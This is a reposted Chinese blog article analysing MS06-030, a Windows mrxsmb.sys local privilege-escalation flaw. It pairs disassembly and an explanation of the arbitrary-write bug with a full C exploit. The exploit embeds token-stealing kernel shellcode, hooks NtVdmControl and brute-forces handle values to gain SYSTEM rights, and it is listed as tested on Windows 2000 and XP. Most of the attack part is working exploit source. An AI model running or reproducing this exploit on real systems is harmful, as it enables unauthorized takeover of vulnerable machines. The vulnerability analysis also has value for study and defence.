MS06-030漏洞分析

最新推荐文章于 2023-04-25 18:03:51 发布
最新推荐文章于 2023-04-25 18:03:51 发布
阅读量1.4k 收藏
点赞数
分类专栏： WINDOWS 开发 文章标签： null windows byte attributes module basic

 

MS06-030漏洞分析

MS06-030 Windows Mrxsmb.sys Local Privilege Escalation 漏洞分析
                                                               
                                                                                SoBeIt

        这个漏洞发生于mrxsmb.sys驱动中，是个任意地址写入漏洞。在处理用户态发来的DeviceIoControl请求时，对于METHOD_NEITHER类型的请求，用户需要同时提供输入缓冲区地址与输出缓冲区地址。而由于内核固有的缺陷，导致输出缓冲区可以为任意地址，包括内核地址，这就造成了任意地址写入的漏洞。

        通过获取一个到".//shadow"的对象的句柄，就可以调用DeviceIoControl与该驱动进行联系。

        所有代码摘自Windows 2000 SP4 English Version。
       
        这是在cscdll.dll中的代码。cscdll.dll通过DeviceIoControl直接与内核驱动mrxsmb.sys通信。

.text:7652D197                 push    ebx
.text:7652D198                 push    [ebp+lpInBuffer] ; wchar_t *
.text:7652D19B                 call    _wcslen
.text:7652D1A0                 mov     edx, [ebp+arg_C]
.text:7652D1A3                 pop     ecx
.text:7652D1A4                 mov     ecx, [ebp+lpOutBuffer]
.text:7652D1A7                 push    0               ; lpOverlapped
.text:7652D1A9                 push    offset _DummyBytesReturned ; lpBytesReturned
.text:7652D1AE                 push    18h             ; nOutBufferSize
.text:7652D1B0                 push    ecx             ; lpOutBuffer
.text:7652D1B1                 shl     eax, 1
.text:7652D1B3                 push    eax             ; nInBufferSize
.text:7652D1B4                 push    [ebp+lpInBuffer] ; lpInBuffer
.text:7652D1B7                 mov     [ecx+10h], edx
.text:7652D1BA                 push    141043h         ; dwIoControlCode
.text:7652D1BF                 push    esi             ; hDevice
.text:7652D1C0                 call    ds:__imp__DeviceIoControl@32 ; DeviceIoControl(x,x,x,x,x,x,x,x)

        可以看到DeviceIoControl的ControlCode为一个METHOD_NEITHER类型，并且传入的OutBuffer参数不为NULL，也就是由用户态来传递返回的缓冲区地址给内核态。而内核态并没有做任何检查就向该地址进行读写，也就是能做到写入任意地址的效果。

        这是在驱动mrxsmb.sys中的代码。

PAGE:00063E5F                 mov     [ebp+ObjectAttributes.ObjectName], ecx        <--指向传入缓冲区地址
PAGE:00063E62                 mov     ecx, dword ptr _MRxSmbSpecialCopyChunkAllocationSizeMarker ; "csc"
PAGE:00063E68                 push    eax             ; AllocationSize
PAGE:00063E69                 lea     eax, [ebp+IoStatusBlock]
PAGE:00063E6C                 mov     dword ptr [ebp+AllocationSize+4], ecx
PAGE:00063E6F                 mov     ecx, [ebp+var_8]
PAGE:00063E72                 push    eax             ; IoStatusBlock
PAGE:00063E73                 add     ebx, 0Ch
PAGE:00063E76                 lea     eax, [ebp+ObjectAttributes]
PAGE:00063E79                 mov     word ptr [ebp+var_14+2], bx
PAGE:00063E7D                 mov     word ptr [ebp+var_14], bx
PAGE:00063E81                 mov     [ebp+ObjectAttributes.Length], 18h
PAGE:00063E88                 mov     [ebp+ObjectAttributes.Attributes], 40h
PAGE:00063E8F                 mov     ecx, [ecx]
PAGE:00063E91                 push    eax             ; ObjectAttributes
PAGE:00063E92                 push    100080h         ; DesiredAccess
PAGE:00063E97                 push    [ebp+FileHandle] ; FileHandle        <--指向返回缓冲区地址
PAGE:00063E9A                 and     ecx, 1
PAGE:00063E9D                 mov     dword ptr [ebp+AllocationSize], ecx
PAGE:00063EA0                 call    ds:__imp__ZwCreateFile@44 ; ZwCreateFile(x,x,x,x,x,x,x,x,x,x,x)


        在2000和XP下有一个小问题，就是对于ZwCreateFile，如果传入的OBJECT_ATTRIBUTES结构的ObjectName成员为NULL，ZwCreateFile依然会返回一个有效的句柄值。到了2003，如果传入NULL的ObjectName则始终会返回句柄0xffffffff。所以这个特性应用在这个漏洞里，才能做到漏洞利用。通过产生的这个句柄值，来写入指定的地址。

        至于该写入什么地址，我曾经专门讨论过对于这种任意地址写入的漏洞该怎么利用，最方便的方法就是Hook一个不常用的系统调用(我选择的是ZwVdmControl)，然后跳转到用户态分配的缓冲区中执行，此时用户态缓冲区存放的就是提升权限的shellcode。所以就象ZwVdmControl的开头写入一个jmp xxxxx的指令即可。

        但是在这里有一点要注意的是，就是由于句柄的最末两位为0，也就是句柄值是4的倍数，而且句柄值最多也只能到6位数，所以只能分两次来写入，因为我们需要产生某些特定的值，比如跳转指令e9，还有偏移地址的高2位。尤其值得注意的是，第一次产生完一个句柄值后，下一次会接着这个值继续产生，而不是从初始值产生。这样偏移地址的低6位就能很难能产生出精确的值了，只能产生个大概的值，所以就这需要用到暴力法，也就是事先分配的用户态缓冲区足够大，使之肯定能跳转到这个缓冲区来执行shellcode。实际中我分配的缓冲区是0x1001000字节，也就是忽略掉低6位地址。多分配个0x1000是用来放shellcode的。

        Hook完后在exploit里面执行被hook的那个系统调用，就能直接执行shellcode了。shellcode是对调用进程的父进程提升权限到SYSTEM，如果从cmd里调用的exploit，该cmd进程就获得SYSTEM权限。提升权限的方法就是复制几个系统进程的EPROCESS结构的Token成员到需要提升权限的进程的EPROCESS结构的Token成员即可。提升权限完后需要恢复被hook的系统调用的前几个字节以供下次继续使用。

        在2003下，代码做了改变，首先是检查传入的OBJECT_ATTRIBUTES结构的ObjectName成员不能小于2个字节，也就是不能为NULL。同时另一个改变就是前面所说的，如果传入NULL的ObjectName则始终会返回句柄0xffffffff。这样在2003下，必须要提供一个有效的UNC路径才能使ZwCreateFile返回一个有效句柄值，并成功利用该漏洞。遗憾地是，我到现在还没找到一个有效的UNC路径。。。如果有谁能找到，请告我一声，多谢:)

 

 

/*
        MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
                        Created by SoBeIt

        Main file of exploit

        Tested on:

        Windows 2000 PRO SP4 Chinese
        Windows 2000 PRO SP4 Rollup 1 Chinese
        Windows 2000 PRO SP4 English
        Windows 2000 PRO SP4 Rollup 1 English
        Windows XP PRO SP2 Chinese
        Windows XP PRO SP2 English
       
        Usage:ms06-030.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")
       
#define NTSTATUS        int
#define ProcessBasicInformation        0
#define SystemModuleInformation 11
       
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL        ZwVdmControl;
ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknow;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        char ImageName[256];       
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] =
{
                                                        //ntoskrnl.exe
        {"ZwTerminateProcess"},
        {"PsLookupProcessByProcessId"},
        {""},
};

unsigned char shellcode[] =
                "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
                "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/xbe/x38/xf0"
                "/xdf/xff/x8b/x36/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
                "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
                "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
                "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
                "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
                "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
                "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
                "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
                "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
                "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
                "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
                "/xff/x90/x90/x90"

                "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
                "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
                "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
       
void ErrorQuit(char *msg)
{
        printf("%s:%d/n", msg, GetLastError());
        ExitProcess(0);
}

void GetFunction()
{
        HANDLE        hNtdll;
       
        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
                ErrorQuit("LoadLibrary failed./n");
               
        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
        if(ZwQueryInformationProcess == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
        if(ZwQuerySystemInformation == NULL)
                ErrorQuit("GetProcessAddress failed./n");
               
        FreeLibrary(hNtdll);
}

ULONG ComputeHash(char *ch)
{
        ULONG ret = 0;

        while(*ch)
        {
                ret = ((ret << 25) | (ret >> 7)) + *ch++;
        }

        return ret;
}

ULONG GetKernelBase(char *KernelName)
{
        ULONG        i, Byte, ModuleCount, KernelBase;
        PVOID        pBuffer;
        PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
        PCHAR        pName;
       
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
               
        if((pBuffer = malloc(Byte)) == NULL)
                ErrorQuit("malloc failed./n");
               
        if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
                ErrorQuit("ZwQuerySystemInformation failed/n");
       
        ModuleCount = *(PULONG)pBuffer;
        pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
        for(i = 0; i < ModuleCount; i++)
        {
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntoskrnl.exe");
                       
                        return KernelBase;
                }
               
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntkrnlpa.exe");
                       
                        return KernelBase;
                }
               
                pSystemModuleInformation++;
        }
               
        free(pBuffer);
        return 0;
}

int main(int argc, char *argv[])
{
        PVOID                pDrivers[256];
        PULONG        pStoreBuffer, pShellcode;
        PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
        PROCESS_BASIC_INFORMATION pbi;
        SYSTEM_MODULE_INFORMATION        smi;
        OSVERSIONINFO        ovi;
        char                DriverName[256], KernelName[64];
        ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
        HANDLE        hDevice, hKernel;

        printf("/n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit /n/n");
        printf("/t Create by SoBeIt. /n/n");
        if(argc != 1)
        {
                printf(" Usage:%s /n/n", argv[0]);
                return 1;
        }
               
        GetFunction();

        if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
                ErrorQuit("ZwQueryInformationProcess failed/n");

        KernelBase = GetKernelBase(KernelName);
        if(!KernelBase)
                ErrorQuit("Unable to get kernel base address./n");
               
        printf("Kernel base address: %x/n", KernelBase);
       
        ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
       
        if(!GetVersionEx(&ovi))
                ErrorQuit("GetVersionEx failed./n");
       
        if(ovi.dwMajorVersion != 5)
                ErrorQuit("Not Windows NT family OS./n");
               
        printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
        switch(ovi.dwMinorVersion)
        {
                case 0:                                                //Windows2000
                        SystemId = 8;
                        TokenOffset = 0x12c;
                        break;
                       
                case 1:                                                //WindowsXP
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                       
                case 2:                                                //Windows2003
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                       
                default:
                        SystemId = 8;
                        TokenOffset = 0xc8;
        }
       
        pRestoreBuffer = malloc(0x100);
        if(pRestoreBuffer == NULL)
                ErrorQuit("malloc failed./n");
               
        if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
                ErrorQuit("EnumDeviceDrivers failed./n");

        for(i = 0; i < (Byte / sizeof(PVOID)); i++)
        {
                if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
                        ErrorQuit("GetDeviceDriverBaseName failed./n");

                if(!strnicmp(DriverName, "mrxsmb.sys", 10))
                {
                        BaseAddress = (ULONG)pDrivers;
                        printf("Mrxsmb.sys Base Address:%x/n", BaseAddress);
                        break;
                }
        }

        if(!BaseAddress)
                ErrorQuit("No address of mrxsmb.sys has been found./n");
       
        pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if(pStoreBuffer == NULL)
                ErrorQuit("VirtualAlloc failed./n");

        printf("Allocated address:%x/n", pStoreBuffer);
        //        /device/LanmanRedirector
        hDevice = CreateFile(".//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hDevice == INVALID_HANDLE_VALUE)
                ErrorQuit("CreateFile failed./n");

        hKernel = LoadLibrary(KernelName);
        if(hKernel == NULL)
                ErrorQuit("LoadLibrary failed./n");
       
        FunctionAddress = (PUCHAR)GetProcAddress(hKernel, "NtVdmControl");
        if(FunctionAddress == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        HookAddress = FunctionAddress - (PUCHAR)hKernel + KernelBase;
        memcpy((PUCHAR)pRestoreBuffer, FunctionAddress - 1, 0x20);
        printf("%s Address:%x/n", "NtVdmControl", HookAddress);
               
        pShellcode = (PULONG)shellcode;
        for(k = 0; pShellcode[k++] != 0x90cccc90; )
                                ;

        for(j = 0; kfunctions[j][0] != '/x0'; j++)
                buf[j] = ComputeHash(kfunctions[j]);

        buf[j++] = pbi.InheritedFromUniqueProcessId;
        buf[j++] = SystemId;
        buf[j++] = (ULONG)pRestoreBuffer;
        buf[j++] = HookAddress - 1;
        buf[j++] = 0x20;
        buf[j++] = TokenOffset;
       
        memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

        hDevice = CreateFile(".//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hDevice == INVALID_HANDLE_VALUE)
                ErrorQuit("CreateFile failed./n");

        Value = (0xe9 << 8) & 0xff00;
        printf("Need value: %x/n", Value);
       
        while((pStoreBuffer[3] & 0xff00) != Value)
        {                       
                memset(pStoreBuffer, 0, 0x18);
               
                if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
                        ErrorQuit("DeviceIoControl failed./n");
                               
                printf("/rValue:%x", pStoreBuffer[3]);
        }
       
        printf("/n");
               
        memset(pStoreBuffer, 0, 0x18);
        if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
                ErrorQuit("DeviceIoControl failed./n");
               
        Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
        printf("Need value: %x/n", Value);
       
        while((pStoreBuffer[3] & 0xfff0) != Value)
        {
                memset(pStoreBuffer, 0, 0x18);
               
                if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
                        ErrorQuit("DeviceIoControl failed./n");
               
                printf("/rValue:%x", pStoreBuffer[3]);
        }

        printf("/n");
       
        if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
                ErrorQuit("DeviceIoControl failed./n");
       
        memset(pStoreBuffer, 0x90, 0x1001000);
        memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
       
        CloseHandle(hDevice);
        CloseHandle(hKernel);

        printf("Exploitation finished./n");
        ZwVdmControl(0, NULL);

        return 1;
}

原文代码有个小错误，已经修改

happy hell
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
MS11_003 漏洞利用与安全加固
theRavensea
03-17 1738
实验在 Metasploit 下结合 XSSF 对IE 浏览器进行渗透测试，利用 MSHTML.DLL 处理悬挂指针漏洞（MS11-003）。MSHTML.DLL 是一个用于解析 HTML 语言的动态链接库，IE、Outlook、Outlook Express 等应用程序都使用了该动态链接库。 MS11_030 漏洞产生的原因：Internet Explorer 在事件处理的实现上存在远程代码执行漏洞，攻击者可利用此漏洞在受影响应用程序中运行任意代码，造成拒绝服务。在处理某些对象操作时，MSHTML.DL
对win7进行网络渗透
qq_57157540的博客
06-26 2314
1.ms原理：在已经安装的 Windows DNS 客户端处理链路本地多播名称解析查询方式中的一个缺陷可被利用来在 NetworkSer11-030 DNS 解析中的漏洞可能允许远程代码执行vice 帐户的上下文中执行任意代码。如果攻击者获得对网络的访问权限，然后创建自定义程序以向目标系统发送特制的 LLMNR 广播查询，则该漏洞可能允许远程执行代码。 2.渗透过程 设置参数 （payload，ip等） use exploit/windows/browser/ms11_003_ie_css_import
如何利用MS11_003 IE 漏洞攻击win7主机
最新发布
2301_77778745的博客
04-25 385
12、验证攻击是否成功，可以列出会话，并进入查看攻击者的身份。也可以用getsystem进行进一步提权，提权失败可以上传提权exe程序进行提权的方案获得最高权限（这点并没有尝试。10、运行命令“exploit”开始进行攻击，生成恶意网页和做好其他准备，只等受害者访问我们构造的恶意网页。5、为了防止服务器端口冲突，设置服务器端口为8060，避开常用端口8080。4、假设，设置生成的恶意网页的URI为baidu.com。11、打开靶机，访问目标网址，模拟受害者误入，若如图所示。9、为避免冲突设置LPORT。
MS03-026/MS03-039漏洞介绍
weixin_34409703的博客
04-15 1399
1、Remote Procedure Call (RPC)是Windows 操作系统使用的一种远程过程调用协议，RPC提供进程间交互通信机制，允许在某台计算机上运行程序的无缝地在远程系统上执行代码。协议本身源自开放软件基 金会的RPC协议，Microsoft在其基础上增加了自己的一些扩展。eEye的研究人员发现，由于Windows RPC DCOM接口对报文的长度域缺乏检查...
MS11_003 漏洞复现
FMBOY
11-11 1875
​1、使用msfconsole命令打开Metasploit渗透测试平台 使用search命令搜索ms11_003_ie_css_import模块 search ms11-003 使用use命令对该模块进行调用，并通过show options命令查看模块的详细配置参数 use exploit/windows/browser/ms11_003_ie_css_import show options
ms06-040漏洞分析1
08-08
3. 漏洞利用漏洞的利用分为本地和远程两种，本地利用用于分析此导出函数存在的漏洞，在远程靠此漏洞进行恶意代码执行，进而控制存在此漏洞的主机 4. 漏洞影响此例中
实训指导5.1.5操作系统漏洞攻击MS06-040(精)PPT文档.pptx
11-14
操作系统漏洞攻击是网络安全领域中的一个重要话题，特别是在这个实训指导中，重点讨论了针对MS06-040漏洞的溢出攻击。MS06-040，也被称为“网络堆栈溢出漏洞”，是微软Windows操作系统中一个知名的漏洞，它主要影响...
深入浅出MS06-040
12-07
如果您根据本文的指导亲手完成了全部的7节实验内容，相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。
深入浅出MS06－040(看雪网络版)
12-19
对于MS06-040而言，逆向工程是分析漏洞的关键步骤之一。 ##### 1.2 IDA，迷宫的地图 IDA是一款强大的反汇编工具，它可以帮助我们理解二进制程序的工作原理。对于分析MS06-040这样的漏洞而言，IDA提供了一个可视化...
MS06-040溢出套装
10-31
【MS06-040溢出套装】是针对2006年微软发布的一个重要安全更新的漏洞利用工具集合。这个套装主要关注的是Windows操作系统中的一个严重安全问题，该问题被称为“网络堆栈缓冲区溢出”或“MS06-040漏洞”。这个漏洞...
信息安全技术基础：Windows系统缓冲区溢出漏洞利用（MS06-040）.doc
11-01
信息安全技术基础
McAfee如何解决Windows漏洞
03-03
例如，MS06-066漏洞存在于NetWare客户端服务中，MS06-067是IE的累积安全更新，MS06-068和MS06-070分别涉及微软代理和Workstation Service，可能导致远程代码执行。其中，Workstation Service中的漏洞（MS06-070）...
MS06040漏洞扫描器
10-31
【MS06040漏洞扫描器】是一种针对特定安全漏洞的工具，主要设计用于检测网络上是否存在MS06-040漏洞。这个漏洞，也被称为“SMB（Server Message Block）服务堆栈溢出漏洞”，是微软操作系统中一个严重的问题，影响了...
serv-u提权工具
06-28
例如，2006年的MS06-040漏洞就曾导致大量Serv-U服务器被黑。 2. **权限配置**： Serv-U的配置至关重要。错误的设置可能导致用户获得超出预期的访问权限。例如，如果一个普通用户被赋予了写入系统目录的权限，那么他...
漏洞扫描器TK2006
10-03
ms06-70(MS最新溢出漏洞) 3、对存在溢出漏洞的主机,根据主机和操作系统类型,采取最优溢出策略进行溢出操作, 达到边检测,边溢出.扫描完毕，溢出主机的cmd shell也随即得到! 4、成功溢出的主机将会被添加到"溢出主机...
Metasploit攻击win7实例
qq_45768092的博客
10-23 2117
Metasploit攻击win7实例 本实验主要介绍了metasploit攻击win7的过程，通过本实验的学习，你能够了解kali下Nessus漏洞扫描工具的安装，掌握利用Nessus扫描目标主机，学会使用metasploit对win7系统的攻击。 实验简介 实验所属系列： 安全工具使用 实验对象：本科/专科信息安全专业 相关课程及专业： linux基础、网络安全 实验类别： 实践实验类 预备知识 Nessus基本介绍 Nessus是一个功能强大而又易于使用的网络和主机漏洞评估工具，分为免费的家庭版和付费的
渗透攻击漏洞利用实验（ms08-067、samba漏洞利用，ms03-026漏洞利用并长期保持）
qq_20381661的专栏
04-10 4746
（一）对MS08_067漏洞渗透攻击 1.使用msfconsole启动Metasploit终端，进入后使用search命令，搜索该漏洞对应的模块： 2.启用这个攻击模块，查看信息，设置攻击载荷： 3.查看渗透攻击所需的配置选项： 4.根据具体情况配置渗透攻击各个选项，并查看设置后的情况： 5.使用exploit发起渗透攻击，获得shell并进行简单操作： （二）利用samba漏洞 1.使用seach命令搜索samba漏洞对应的模块： 2.启用usermap_s
MS16-032 提权 漏洞复现
Adminxe的博客
06-14 2261
exploit-db的详情：https://www.exploit-db.com/exploits/39574/ 注意点：此漏洞影响从Vista到Windows 10的所有Windows版本（包括服务器版本）以及为了实现利用，因为PowerShell脚本指示需要满足以下要求：目标系统需要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行 此漏洞会影响以下Microsoft产品： Windows Vista Windows 7 Windows 8.1 Windows 1...
web网络安全——网站入侵（三）
lv小笨鸟要先飞啦
12-21 4193
2) 详细信息分析 联系人信息分析： https://github.com/XX.XX.XX.XX?language=objective-c&tab=stars 结论：网站由ruby编写，根据博主个人转载发表日志。 Nginx漏洞分析： 查询得出cve-2013-4547、cve-2014-3616漏洞利用可能性最高 利用分析： Cve-2014-3616 参考资料链接： ht
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值